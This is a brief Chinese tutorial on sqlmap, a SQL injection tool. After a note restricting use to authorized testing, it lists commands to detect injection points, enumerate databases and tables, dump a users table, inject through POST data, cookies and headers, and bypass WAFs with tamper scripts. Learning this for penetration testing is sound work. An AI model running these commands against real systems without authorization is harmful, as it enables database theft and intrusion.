sqlmap SQL注入自动化实战:自动检测注入、获取数据库名/表/数据、POST注入、Cookie注入、WAF绕过。
写在前面:合法学习边界
sqlmap 只在授权测试环境使用。对非授权目标进行 SQL 注入扫描可能触犯法律。
一、sqlmap 工作流程

1
| ① 发现注入点 → ② 确定数据库 → ③ 枚举数据库 → ④ 读取表结构 → ⑤ Dump 数据
|
二、常用命令
1
2
3
4
5
6
7
8
9
10
11
12
13
| # 自动检测注入(非交互)
sqlmap -u "http://target/page?id=1" --batch
# 从请求文件注入
sqlmap -r request.txt --batch
# 获取所有数据库
sqlmap -u "http://target/page?id=1" --dbs
# 获取表/列/数据
sqlmap -u "..." -D dbname --tables
sqlmap -u "..." -D dbname -T users --columns
sqlmap -u "..." -D dbname -T users --dump
|
三、POST / Cookie 注入
1
2
3
4
5
6
7
8
| # POST 数据注入
sqlmap -u "http://target/page" --data="id=1&name=test" --batch
# Cookie 注入
sqlmap -u "http://target/page" --cookie="id=1" --level=2
# Header 注入
sqlmap -u "http://target/page" --level=5
|
四、WAF 绕过
1
2
3
4
5
| # 使用 tamper 脚本
sqlmap -u "..." --tamper=space2comment.py --batch
# 时间盲注延迟调整
sqlmap -u "..." --time-sec=5 --batch
|
五、小结
sqlmap 是 SQL 注入自动化的核心工具。--batch 实现全自动扫描,--level 控制注入检测深度,--tamper 应对 WAF 防护。